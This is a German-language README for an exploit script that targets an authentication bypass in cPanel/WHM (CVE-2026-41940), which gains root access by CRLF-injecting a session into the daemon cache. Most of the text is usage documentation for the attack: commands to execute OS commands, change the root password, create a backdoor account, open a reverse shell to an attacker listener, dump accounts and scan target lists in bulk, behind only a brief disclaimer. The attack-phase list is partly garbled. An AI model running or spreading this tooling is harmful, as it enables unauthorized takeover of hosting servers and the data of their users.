
cPanel/WHM-Authentifizierungsumgehung (Zero-Day-Sicherheitslücke)
Haftungsausschluss: Dieses Dokument und das zugehörige Skript (
exploit.py) werden ausschließlich für Bildungszwecke, Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt. Verwenden Sie diese Software nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
exploit.py ist ein Skript, das eine Authentifizierungs-Bypass-Schwachstelle (CVE-2026-41940) in cPanel & WHM demonstriert. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, über einen CRLF-Injektionsfehler eine Root-Sitzung in den Daemon-Cache einzuschleusen, was letztendlich Root-Level-Zugriff auf WHM ohne gültige Anmeldeinformationen gewährt.
Der Exploit nutzt eine CRLF-Injektionsschwachstelle (Carriage Return Line Feed) im Basic-Authentication-Handling-Mechanismus, kombiniert mit einem Fehler bei der Sitzungsweitergabe. Das Skript automatisiert den Angriff in vier Phasen:
/login/ oder /cgi/login.cgi), um ein Basis-Sitzungscookie ohne Authentifizierung zu erhalten (whostmgrsession).cpsrvd-Sitzungscache injiziert. Die Weiterleitungsantwort des Servers gibt das generierte Sicherheitstoken (cpsess) preis.do_token_denied ausgelöst wird, um die gefälschte Sitzung in den Daemon-Cache zu propagieren – sie wird zu einer gültigen authentifizierten Sitzung./json-api/version), um den Root-Level-Zugriff zu bestätigen.requests-Bibliothekpip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Beschreibung |
|---|---|
--target URL | Einzelne WHM-URL (z. B. https://target:2087) |
--target-file FILE | Datei mit Zielen (ein ip:port pro Zeile) – aktiviert automatisch den Prüfmodus |
| Argument | Beschreibung |
|---|---|
--threads N | Gleichzeitige Threads für den Multi-Ziel-Modus (Standard: 10) |
--hostname HOST | Host-Header überschreiben – verwenden, wenn die automatische Erkennung fehlschlägt oder einen falschen Hostnamen liefert |
--timeout N | Timeout pro Anfrage in Sekunden (Standard: 15) |
--retries N | Anzahl der Wiederholungen bei Netzwerkfehlern (Standard: 3) |
--cookie-name NAME | Ein bestimmtes Sitzungscookie erzwingen (automatisch erkannt, wenn weggelassen) |
--no-verify | Stufe-4-Verifizierung überspringen und trotzdem fortfahren |
| Argument | Beschreibung |
|---|---|
--check | Nur-Prüfmodus – Schwachstelle verifizieren, ohne sie auszunutzen (automatisch mit --target-file gesetzt) |
--password PASS | Das Root-Passwort auf PASS ändern |
--api FUNC | Eine bestimmte WHM-JSON-API-Funktion aufrufen |
--api-params K=V,... | Kommagetrennte Parameter für --api |
--exec CMD | Einen OS-Befehl über WHM scripts/run_script ausführen (Fallback: rawexec) |
--session | Eine Root-Ein-Klick-Login-URL generieren – sofort öffnen, Token läuft schnell ab |
--shell | In eine interaktive WHM-Shell wechseln (nur Einzelziel) |
--dump | Serverinformationen ausgeben: Version, Konten, DNS-Zonen, Berechtigungen |
--add-user USER PASS DOMAIN | Ein neues cPanel-Hosting-Konto erstellen |
--revshell LHOST LPORT | Eine Bash-Reverse-Shell an Ihren Listener senden |
| Argument | Beschreibung |
|---|---|
--output FILE | Sitzungstoken und Details in einer JSON-Datei speichern |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Wenn Sie --shell verwenden, stehen folgende Befehle zur Verfügung:
| Befehl | Beschreibung |
|---|---|
api <function> [k=v ...] | Eine WHM-JSON-API-Funktion aufrufen (z. B. api version) |
exec <command> | Einen OS-Befehl über WHM ausführen (z. B. exec id) |
passwd <newpass> | Das Root-Passwort ändern |
dump | Serverinformationen ausgeben |
revshell <lhost> <lport> | Eine Reverse-Shell senden |
add <user> <pass> <domain> | Ein cPanel-Konto erstellen |
save <path> | Die aktuelle Sitzung in einer Datei speichern |
exit / quit | Die Shell beenden |
Installieren Sie die neuesten cPanel/WHM-Sicherheitspatches umgehend.